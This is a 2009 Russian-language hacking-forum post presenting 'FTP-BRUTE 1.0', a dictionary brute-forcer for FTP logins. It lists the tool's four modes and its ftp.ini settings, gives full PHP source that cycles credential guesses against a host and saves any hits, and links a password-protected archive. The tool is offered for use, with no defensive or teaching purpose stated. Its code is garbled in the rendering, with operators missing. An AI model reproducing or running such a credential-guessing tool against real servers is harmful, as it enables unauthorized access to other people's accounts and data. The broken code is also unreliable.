Показать сообщение отдельно

FTP-BRUTE
  #778  
Старый 24.05.2009, 00:49
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию FTP-BRUTE

фтп-брут по словарям, работает в различных режимах:

1 - брут по двум словарям - логинов и паролей (отдельно словарь логинов, отдельно словарь паролей) - неизвестны ни логин, ни пароль
2 - брут по словарю паролей, известен только логин
3 - брут по словарю логинов, известен только пароль
4 - брут по словарю логин/пароль (разделитель любой, кроме ";" и пробела, например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль

все настройки задаются в файле ftp.ini:

Код:
mode = 3                          
;0 - брут по двум словарям - логинов и паролей (отдельно словарь логинов, отдельно словарь паролей) - неизвестны ни логин, ни пароль 
;1 - брут по словарю паролей, логин нужно внести ниже (известен только логин) 
;2 - брут по словарю логинов, пароль нужно внести ниже (известен только пароль)
;3 - брут по словарю логин/пароль (разделитель любой, кроме ";" и пробела, например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль 


host =                            ;фтп-хост
port = 21                         ;фтп-порт
login =                           ;логин (если брут паролей по одному логину)
pass =                            ;пароль (если брут логинов по одному паролю)
file_pass = passw.txt             ;файл-словарь паролей для брута (каждый пароль с новой строки)
file_login = login.txt            ;файл-словарь логинов (каждый логин с новой строки)
file_login_pass = log_pass.txt    ;файл-словарь логинов/паролей (каждая связка логин/пароль с новой строки)
file_login_pass_del = :           ;разделитель между логин/пароль в файле file_login_pass, не может быть ";" или пробелом
file_result = ftp_result.txt      ;файл для сохранения результатов
pause = 0                         ;пауза между попытками в секундах (если нужно)
timeout = 100                     ;таймаут на установление фтп-соединения (обязательный параметр)
kol = 1                           ;через какое кол-во попыток выводить инфо на экран
запускается файлом ftpbr.exe (или RUN!!!.cmd) под WIN и файл ftpbr.php под никсами.

Скачать всё в одном архиве, пароль - 123

Из особенностей - абсолютно не требователен к оперативной памяти, независимо от размера словарей

PHP код:
<?php  
@set_time_limit(0); 
@
ini_set("display_errors","0"); 
ignore_user_abort(1);
echo 
"\n [[[ FTP-BRUTE 1.0 by Pashkela (c)2009 ]]]";
$ini parse_ini_file("ftp.ini") or die("ftp.ini not found");
$mode $ini[mode]; // 0 - брут по двум словарям - логин/пассворд, 1 - брут по словарю паролей, логин нужно внести ниже, 2 - брут по словарю логинов, пароль нужно внести ниже, 3 - брут по словарю логин/пароль (разделитель любой, кроме ";", например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль 
$host $ini[host]; // фтп-хост
$port $ini[port]; // фтп-пароль
$login $ini[login]; // логин (если брут паролей по одному логину)
$pass $ini[pass]; // пароль (если брут логинов по одному паролю)
$file_pass $ini[file_pass]; // файл-словарь паролей
$file_login $ini[file_login]; // файл-словарь логинов
$file_result $ini[file_result]; // файл для сохранения результатов
$file_login_pass $ini[file_login_pass];// файл-словарь логинов/паролей (каждая связка логин/пароль с новой строки)
$file_login_pass_del $ini[file_login_pass_del];//разделитель между логин/пароль в файле file_login_pass, не может быть ";" или пробелом  
$pause $ini[pause]; // пауза между попытками, если надо
$timeout $ini[timeout]; // таймаут на установление фтп-соединения
$kol $ini[kol]; // через какое кол-во попыток выводить инфо на экран  
$handle1 fopen($file_result"a");
$i 0;
$s 0;
// Брут по двум словарям (не знаем ни логина ни пароля):
if ($mode==0) {
   
$login '';
   
$pass '';
   
// Brute
   
echo "\n\n Count logins & passwords, wait please...";
   
$handle2 fopen($file_login"r");
   
$handle fopen($file_pass"r");
   while (
$buffer fgets($handle2)) $p++;
   
fclose($handle2); 
   echo 
"\n\n\n$p logins...working\n";
   while (
$buffer fgets($handle)) $g++;
   
fclose($handle); 
   echo 
"$g passwords...working\n";
   echo 
"Will brute login|password\n"
   echo 
"at host: <$host> \n";
   echo 
"at port: <$port>\n";
   echo 
"brute info after every <$kol> connections\n";
   echo 
"pause between connections: <$pause> seconds\n";
   echo 
"Working, wait please...\n\n";
   
$handle2 fopen($file_login"r");
   while (!
feof($handle2)) { 
      
$login trim(fgets($handle2));
      echo 
"\n will brute password for login <$login> ...";
      
$handle fopen($file_pass"r");
      while (!
feof($handle)) { 
         
$pass trim(fgets($handle));
         
$open ftp_connect($host,$port,"100"); // сервер, порт, таймаут 
         
if(!ftp_login($open,$login,$pass)) {  
            
$i++;
            if (
$i==$kol) {
               
$s $s+$i;
               
$i=0;
               
$w $g $s
               echo 
"\nPass $s connections, remain $w passwords, brute...";
               
sleep($pause);
            }   
         } else {
               echo 
"\n\n\nSuccess connection!!!! Done.";
               echo 
"\n <<<Login: $login | Password : $pass>>>";
               
ftp_close($open); // закрываем фтп-соединение
               
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass""\r\n");
               
fclose($handle1);
               
fclose($handle);
               echo 
"\n\n\n [[[ All results was saved in <$file_result> ]]]";
               exit;
         }
      }
      
fclose($handle);
      
$i 0;
      
$s 0;
   }   
   echo 
"\n\n\n [[[ Sorry, not found ]]]";
   
fclose($handle1);
   
fclose($handle2);
}


// Брут по словарю  паролей(знаем логин):
if ($mode==1) {
   echo 
"\n\n Count passwords, wait please...";
   
$handle fopen($file_pass"r");
   while (
$buffer fgets($handle)) $p++;
   
fclose($handle); 
   echo 
"\n\n\n$p passwords...working\n\n";
   echo 
"Will brute login: <$login>\n"
   echo 
"at host: <$host> \n";
   echo 
"at port: <$port>\n";
   echo 
"brute info after every <$kol> connections\n";
   echo 
"pause between connections: <$pause> seconds\n";
   echo 
"Working, wait please...\n\n";
   
$pass '';
   
// Brute
   
$handle fopen($file_pass"r");
   while (!
feof($handle)) { 
         
$pass trim(fgets($handle));
         
$open ftp_connect($host,$port,"100"); // сервер, порт, таймаут 
         
if(!ftp_login($open,$login,$pass)) {  
            
$i++;
            if (
$i==$kol) {
               
$s $s+$i;
               
$i=0;
               
$w $p $s
               echo 
"Pass $s connections, remain $w passwords, brute...\n";
               
sleep($pause);
            }   
         } else {
               echo 
"\n\n\nSuccess connection!!!! Done.";
               echo 
"\n <<<Password : $pass>>>";
               
ftp_close($open); // закрываем фтп-соединение
               
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass""\r\n");
               
fclose($handle1);
               
fclose($handle);
               echo 
"\n\n\n [[[ All results was saved in <$file_result> ]]]";
               exit;
         }
    }
    echo 
"\n\n\n [[[ Sorry, not found ]]]";
    
fclose($handle);
    
fclose($handle1);
}

// Брут по словарю  логинов(знаем пароль):
if ($mode==2) {
   echo 
"\n\n Count logins, wait please...";
   
$handle fopen($file_login"r");
   while (
$buffer fgets($handle)) $p++;
   
fclose($handle); 
   echo 
"\n\n\n$p logins...working\n\n";
   echo 
"Will brute pass: <$pass>\n"
   echo 
"at host: <$host> \n";
   echo 
"at port: <$port>\n";
   echo 
"brute info after every <$kol> connections\n";
   echo 
"pause between connections: <$pause> seconds\n";
   echo 
"Working, wait please...\n\n";
   
$login '';
   
// Brute
   
$handle fopen($file_login"r");
   while (!
feof($handle)) { 
         
$login trim(fgets($handle));
         
$open ftp_connect($host,$port,"100"); // сервер, порт, таймаут 
         
if(!ftp_login($open,$login,$pass)) {  
            
$i++;
            if (
$i==$kol) {
               
$s $s+$i;
               
$i=0;
               
$w $p $s
               echo 
"Pass $s connections, remain $w logins, brute...\n";
               
sleep($pause);
            }   
         } else {
               echo 
"\n\n\nSuccess connection!!!! Done.";
               echo 
"\n <<<Login : $login>>>";
               
ftp_close($open); // закрываем фтп-соединение
               
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass""\r\n");
               
fclose($handle1);
               
fclose($handle);
               echo 
"\n\n\n [[[ All results was saved in <$file_result> ]]]";
               exit;
         }
    }
    echo 
"\n\n\n [[[ Sorry, not found ]]]";
    
fclose($handle);
    
fclose($handle1);
}
// Брут по словарю  логин/пароль(не знаем ни логин ни пароль):
if ($mode==3) {
   echo 
"\n\n Count logins" $file_login_pass_del "passwords, wait please...";
   
$login '';
   
$pass '';
   
$handle fopen($file_login_pass"r");
   while (
$buffer fgets($handle)) $p++;
   
fclose($handle); 
   echo 
"\n\n\n$p logins" $file_login_pass_del "passwords...working\n\n";
   echo 
"Will brute login" $file_login_pass_del "password\n"
   echo 
"at host: <$host> \n";
   echo 
"at port: <$port>\n";
   echo 
"brute info after every <$kol> connections\n";
   echo 
"pause between connections: <$pause> seconds\n";
   echo 
"Working, wait please...\n\n";
   
$buffer '';
   
$temp = array();
   
// Brute
   
$handle fopen($file_login_pass"r");
   while (!
feof($handle)) { 
         
$buffer trim(fgets($handle));
         
$temp explode($file_login_pass_del,$buffer);
         
$open ftp_connect($host,$port,"100"); // сервер, порт, таймаут 
         
if(!ftp_login($open,$temp[0],$temp[1])) {  
            
$i++;
            if (
$i==$kol) {
               
$s $s+$i;
               
$i=0;
               
$w $p $s
               echo 
"Pass $s connections, remain $w login" $file_login_pass_del "password, brute...\n";
               
sleep($pause);
            }   
         } else {
               echo 
"\n\n\nSuccess connection!!!! Done.";
               echo 
"\n <<<Login: {$temp[0]} | Password : {$temp[1]}>>>";
               
ftp_close($open); // закрываем фтп-соединение
               
fwrite($handle1,"Хост: $host, порт: $port, логин: {$temp[0]}, пароль: {$temp[1]}""\r\n");
               
fclose($handle1);
               
fclose($handle);
               echo 
"\n\n\n [[[ All results was saved in <$file_result> ]]]";
               exit;
         }
    }
    echo 
"\n\n\n [[[ Sorry, not found ]]]";
    
fclose($handle);
    
fclose($handle1);
}
            
?>

Последний раз редактировалось Pashkela; 24.05.2009 в 01:01..
 
Ответить с цитированием